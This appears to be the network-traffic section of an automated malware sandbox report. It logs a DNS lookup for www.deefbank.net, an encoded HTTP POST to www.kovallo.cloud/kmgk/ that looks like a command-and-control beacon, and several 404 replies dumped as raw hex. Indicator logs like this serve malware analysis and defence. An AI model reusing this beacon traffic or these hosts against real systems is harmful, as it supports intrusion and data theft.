            Source: global trafficDNS traffic detected: DNS query: www.deefbank.net
            Source: unknownHTTP traffic detected: POST /kmgk/ HTTP/1.1Accept: */*Accept-Encoding: gzip, deflate, brAccept-Language: en-US,enConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 209Cache-Control: no-cacheHost: www.kovallo.cloudOrigin: http://www.kovallo.cloudReferer: http://www.kovallo.cloud/kmgk/User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)Data Raw: 74 44 33 38 72 6e 70 58 3d 64 73 4d 71 6b 78 78 6d 51 6a 2b 56 39 65 34 37 6a 47 43 55 6f 31 68 65 35 7a 33 65 47 6f 30 79 6a 56 42 77 38 63 64 74 33 71 4c 7a 62 2f 63 7a 66 6e 72 38 70 44 7a 73 70 67 61 57 5a 51 4d 45 30 4d 77 71 68 62 30 4d 45 6a 64 66 43 41 30 5a 6c 33 70 47 65 6a 6f 50 43 5a 48 79 5a 56 4e 33 47 64 67 7a 34 57 73 4d 43 72 65 6e 2b 35 43 76 42 58 31 75 6f 68 52 56 5a 76 4b 70 4a 50 2f 49 2f 52 6a 55 74 72 76 79 70 78 4e 4b 79 46 69 7a 41 4f 52 62 69 39 64 63 6f 58 68 4b 63 6a 61 49 42 30 70 31 52 2f 30 72 44 4c 66 2f 45 6e 4e 38 33 6f 6c 71 44 71 63 71 34 6d 54 75 72 44 31 6c 68 32 37 58 71 59 73 3d Data Ascii: tD38rnpX=dsMqkxxmQj+V9e47jGCUo1he5z3eGo0yjVBw8cdt3qLzb/czfnr8pDzspgaWZQME0Mwqhb0MEjdfCA0Zl3pGejoPCZHyZVN3Gdgz4WsMCren+5CvBX1uohRVZvKpJP/I/RjUtrvypxNKyFizAORbi9dcoXhKcjaIB0p1R/0rDLf/EnN83olqDqcq4mTurD1lh27XqYs=
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:27:48 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:27:50 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:27:53 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:27:55 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 14:28:33 GMTServer: ApacheContent-Length: 13928Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 3b 36 30 30 26 66 61 6d 69 6c 79 3d 49 6e 74 65 72 3a 77 67 68 74 40 37 30 30 3b 38 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 14:28:35 GMTServer: ApacheContent-Length: 13928Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 3b 36 30 30 26 66 61 6d 69 6c 79 3d 49 6e 74 65 72 3a 77 67 68 74 40 37 30 30 3b 38 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 14:28:38 GMTServer: ApacheContent-Length: 13928Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 3b 36 30 30 26 66 61 6d 69 6c 79 3d 49 6e 74 65 72 3a 77 67 68 74 40 37 30 30 3b 38 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 14:28:40 GMTServer: ApacheContent-Length: 13928Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 3b 36 30 30 26 66 61 6d 69 6c 79 3d 49 6e 74 65 72 3a 77 67 68 74 40 37 30 30 3b 38 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:29:54 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 21 b9 e6 be ba 3b 14 4d db 02 12 3b 69 12 c4 88 d1 34 40 81 a0 45 5f 28 fa a9 80 fc 50 a3 f8 a1 fc 85 dd 7f d4 73 67 76 97 4b 8a 94 1f 71 8a 0a 90 44 ce ce dc b9 73 ef b9 e7 de 99 d9 e6 e9 5e 60 cb 69 28 d8 50 7a 6e bb 49 7f 99 ed f2 38 6e 55 9c b8 c3 7b 3c 94 ce ae a8 30 97 fb 83 56 25 1a 57 d0 47 f0 5e bb e9 09 c9 99 3d e4 51 2c 64 ab f2 fe a5 5f 18 e7 f0 4c b5 fa dc 13 ad 4a c8 a3 91 e3 0f 2a cc 0e 7c 29 7c 74 8a c4 20 1a 1b 11 64 ce f7 dc 75 c4 24 0c 22 59 ea 3a 71 7a 72 d8 ea 89 5d c7 16 86 fa d2 70 7c 47 3a dc 35 62 9b bb a2 b5 0e 11 d2 91 ae 68 4f 26 13 d3 15 b1 e1 41 69 3e 10 66 e0 bb 8e 2f 9a 96 7e da c4 97 11 8b 84 db aa c4 72 8a 7e 43 21 30 91 27 7a 0e 6f 55 b8 eb 56 d8 30 12 fd 42 5d a5 9e c1 c7 32 30 ed 38 c6 24 b3 f1 0e 16 92 f7 ee 73 68 16 f8 26 fe 6c ae 57 18 59 10 06 f3 30 bf 75 c5 50 1d db cd d8 8e 9c 50 b6 ad 33 cd d3 db 6f 5e 7c fd d2 eb db 67 ac 53 13 c7 ef 05 13 53 46 dc 1e 6d a9 0e 6f 07 bc c7 5a ac 3f f6 6d e9 04 7e ad 7e 6d 6f e3 94 75 66 67 a7 7d c6 6a 5a 99 90 4c 18 c3 e2 d0 bd 55 59 2e a6 56 b5 3c ee 3b 7d 11 4b f3 72 5c ad 57 d0 5f 44 51 10 3d e5 80 06 5b c7 98 38 b2 5b 95 b2 20 f8 25 f7 f3 58 f6 95 9f 9f 59 2f 02 0d 5c 47 16 89 9f 5a b7 c5 41 